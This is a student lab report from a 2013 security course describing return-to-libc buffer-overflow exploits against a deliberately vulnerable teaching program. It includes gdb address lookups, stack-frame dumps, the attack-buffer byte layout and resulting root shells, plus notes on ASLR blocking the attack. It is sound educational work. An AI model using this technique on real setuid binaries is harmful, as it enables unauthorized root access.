CSE 608 Fall 2013
Project 1 Report

Vinay Krishnamurthy (108800980)

September 17, 2013

Summary

This project was an exercise on return-to-libc attacks. We were given a sample program with buffer overflow vulnerability in it. This program would read in 40 bytes from a file, and copy them to a 12 byte buffer. Our task was to write exploits that would write 40 bytes data onto the file, which when read by the vulnerable program would spawn a root shell. We were not supposed to inject any code onto the stack, like a normal stack smashing attack. Instead, we had to add the *system* function's entry point in the stack, which would be invoked from the vulnerable program function after overflow.

How did I do it?

General

In order to get the addresses of *system*, *exit*, and *setuid* function, I followed the steps provided in the project instructions guide. The following *gdb* snippet shows the addresses of the three *libc* functions, on my machine, used in the exploit.

```
(gdb) p system
$1 = {<text variable, no debug info>} 0x169bb0 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x15d230 <exit>
(gdb) p setuid
$3 = {<text variable, no debug info>} 0x1cc240 <setuid>
(gdb)
```

Figure 1: Load addresses of *system*, *exit* and *setuid* functions

I tried obtaining the addresses of the *libc* functions using *dlsym* function programmatically. This is documented well in [1] [1]. However, the addresses reported by this function were not correct, on my 32-bit Ubuntu 10.04 VM[2]. Hence, I could not use the values returned by this function. Peculiarly, this function reported correct values on a 64-bit Ubuntu 12.04 VM.

Additionally, I added */bin/sh* as an environment variable, per the instructions provided. After adding it as an environment variable, getting the pointer value of this environment variable was based on guesses, and I had to run *retlib* twice or thrice, to get the right value. The value that worked on my 32-bit Ubuntu VM was `0xbffffea2`.

Task 1

After obtaining the system and exit load addresses, I took a look at the frame of *bof* function of *retlib.c*. I used this info to figure out where to place the address of *system*, and it's parameter: *"/bin/sh"*, and address of *exit* function.

[1] Although this article talks about in detail, about how to perform a return-to-libc attack, I went through it after I finished tasks 1 and 2 using hardcoded addresses. I used this article as a reference mainly for *dlsym*

[2] For this project, I've worked on my local VM, and **not** on SEED_Ubuntu image provided to the class. Hence the values I've reported may not match with the ones on SEED_Ubuntu

The following *gdb* snippet shows the frame information of *bof* when the local buffer has not overflown, yet.

```
(gdb) info frame
Stack level 0, frame at 0xbffff5a0:
 eip = 0x804849a in bof (retlib.c:12); saved eip 0x80484f2
 called by frame at 0xbffff5d0
 source language c.
 Arglist at 0xbffff598, args: badfile=0x804b008
 Locals at 0xbffff598, Previous frame's sp is 0xbffff5a0
 Saved registers:
  ebp at 0xbffff598, eip at 0xbffff59c
(gdb) info register esp
esp            0xbffff570       0xbffff570
(gdb) x/16x 0xbffff570
0xbffff570:        0x00000001       0x00288860       0x00288ff4       0x00000000
0xbffff580:        0xbffff598       0x0018d1fc       0x080485e2       0x080485e0
0xbffff590:        0x00000001       0x00288ff4       0xbffff5c8       0x080484f2
0xbffff5a0:        0x0804b008       0x080485e0       0x08048530       0xbffff5c8
(gdb) p &buffer
$3 = (char (*)[12]) 0xbffff584
(gdb) disassemble main
Dump of assembler code for function main:
   /* Snipped to conserve space */
   0x080484ed <+42>:        call   0x8048494 <bof>
   0x080484f2 <+47>:        movl   $0x80485ea,(%esp)
   /* Snipped to conserve space */

End of assembler dump.
(gdb) frame 1
#1  0x080484f2 in main (argc=1, argv=0xbffff674) at retlib.c:20
20          bof(badfile);
(gdb) info register ebp
ebp            0xbffff5c8       0xbffff5c8
```

Figure 2: Frame info of *bof*

We can see that the stack pointer, *esp*, is currently at `0xbffff570`, while the previous frame pointer, *ebp*, is at `0xbffff598` (value = `0xbffff5c8`). This is the frame pointer for *main*, from where *bof* is called. The return address is stored at `0xbffff59c`, and the local buffer is at `0xbffff584`. This tells us that we can write random characters of 24 bytes (`0xbffff59c - 0xbffff584`), but the contents of `0xbffff59c` will have to be the address of *system* function. The address of *exit* function will have to follow this. The last 4 bytes will be for the pointer to the *"/bin/sh"* environment variable. Here's a depiction of how the attack buffer should look like:

Pad characters	*system* entry point	*exit* entry point	pointer to *"/bin/sh"* env variable

Table 1: Attack buffer contents

Since the first 24 bytes (padding bytes) of the attack buffer really can be anything, I chose `0x90` (Intel opcode for *nop*) as the padding characters. After compiling and executing *exploit_1* wrote to *badfile* file, in the pattern mentioned above. The contents of *badfile* were as shown in Figure 3. After *bof* function reads this file, the contents of the stack are as shown in Figure 4.

```
vinay@vinay-laptop:~/CSE608/Proj1$ hd badfile
 00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
 00000010  90 90 90 90 90 90 90 90  b0 9b 16 00 30 d2 15 00  |............0...|
 00000020  d7 fe ff bf fb 85 04 08                           |........|
 00000028
```

Figure 3: Contents of *badfile*

```
(gdb) info register esp
esp            0xbffff570       0xbffff570
(gdb) x/16x 0xbffff570
0xbffff570:       0xbffff584       0x00000001       0x00000028       0x0804b008
0xbffff580:       0xbffff598       0x90909090       0x90909090       0x90909090
0xbffff590:       0x90909090       0x90909090       0x90909090       0x00169bb0
0xbffff5a0:       0x0015d230       0xbffffed7       0x080485fb       0xbffff5c8
```

Figure 4: Overflown buffer

Here the return address stored at `0xbffff59c` has the start address of *system* function. Continuing the execution, I can see that the execution jumps to *system* function.

```
(gdb) disp/i $pc
1: x/i $pc
=> 0x80484bc <bof+40>:        mov    $0x1,%eax
(gdb) si
14        }
1: x/i $pc
=> 0x80484c1 <bof+45>:        leave
(gdb)
0x080484c2 in bof (badfile=Cannot access memory at address 0x90909098
) at retlib.c:14
14        }
1: x/i $pc
=> 0x80484c2 <bof+46>:        ret
(gdb)
0x00169bb0 in system () from /lib/tls/i686/cmov/libc.so.6
1: x/i $pc
=> 0x169bb0 <system>:        sub    $0xc,%esp
(gdb) info register eip
eip            0x169bb0    0x169bb0 <system>
(gdb)
```

Figure 5: Instruction execution sequence after overflow

After running the *retlib* executable, I see that a root shell is spawned.

```
vinay@vinay-laptop:~/CSE608/Proj1$ ./retlib
sh-4.1# id
uid=1000(vinay) euid=0(root)
sh-4.1# exit
exit
vinay@vinay-laptop:~/CSE608/Proj1$
```

Figure 6: Root shell, wohoo

As address of *exit* function is included as return address for *system* function, after exiting the root shell, the program doesn't segfault.

Task 2

Task 2 implementation did not differ much from the implementation of the first task. I had to change the buffer contents to accommodate *setuid* function and it's parameter. Here's how the buffer was packed for this task:

Pad characters	*setuid* address	*system* address	*setuid* parameter = 0	pointer to *"/bin/sh"* env variable

Table 2: Attack buffer contents

```
(gdb) info register esp
esp            0xbffff570       0xbffff570
(gdb) x/16x 0xbffff570
0xbffff570:     0xbffff584      0x00000001      0x00000028      0x0804b008
0xbffff580:     0xbffff598      0x90909090      0x90909090      0x90909090
0xbffff590:     0x90909090      0x90909090      0x90909090      0x001cc240
0xbffff5a0:     0x00169bb0      0x00000000      0xbffffed7      0xbffff5c8
```

Figure 7: Overflown buffer

Interestingly, I was able to get a root shell, even when bash shell was set as the default shell, without using the *setuid* function. However the euid with bash shell was set to root, while the real uid was still the uid of my user name. The only change after using *setuid* function was that the real uid changed to root. Additionally, *retlib* crashed as *exit* function was no longer part of the attack buffer, and the program segfaulted after typing in exit.

```
vinay@vinay-laptop:~/CSE608/Proj1$ ./retlib
sh-4.1# id
uid=0(root)
sh-4.1# exit
exit
Segmentation fault
vinay@vinay-laptop:~/CSE608/Proj1$
```

Figure 8: Root shell again, wohoo

Task 3

I was not able to get the root shell with the existing framework, after turning on ASLR. The addresses of all the *libc* functions were randomized, and the program would just segfault. This is because the address is randomized everytime *retlib* is executed. The following figure shows how entry point for *system* function changed between 3 runs:

```
(gdb) p system
$1 = {<text variable, no debug info>} 0xb03bb0 <system>
(gdb) p system
$2 = {<text variable, no debug info>} 0x14bbb0 <system>
(gdb) p system
$3 = {<text variable, no debug info>} 0x632bb0 <system>
```

Figure 9: ASLR's effect on *system* function's load address

One thing to note is that the last 12 bits are always constant, because ASLR cannot randomize the page offset of a virtual address. It should also be noted that ASLR on a 32 bit machine can be broken by brute force attack, which is discussed in [2]. But, it will not work in this case, as the we're writing the attack buffer contents to a file, which is then read by *retlib*. It is difficult to guess how *system*'s entry point will be randomized when *retlib* runs.

Submitted file contents

The submitted tar file has the following files:
1) exploit_1.c - Has exploit code for task 1.
2) exploit_2.c - Has exploit code for task 2.
3) run_task1.sh - Shell script to create *badfile* and run *retlib* (task 1).
4) run_task2.sh - Shell script to create *badfile* and run *retlib* (task 2).

References

[1] Returning into libc tutorial `http://www.win.tue.nl/~aeb/linux/hh/hh-10.html#ss10.4`

[2] H. Shacham, M. Page, B. Pfaff, E. Goh, N. Modadugu, D. Boneh, On the Effectiveness of Address-Space Randomization, in *Proceedings of 11th ACM Conference on Computer and Communications Security, Oct. 2004*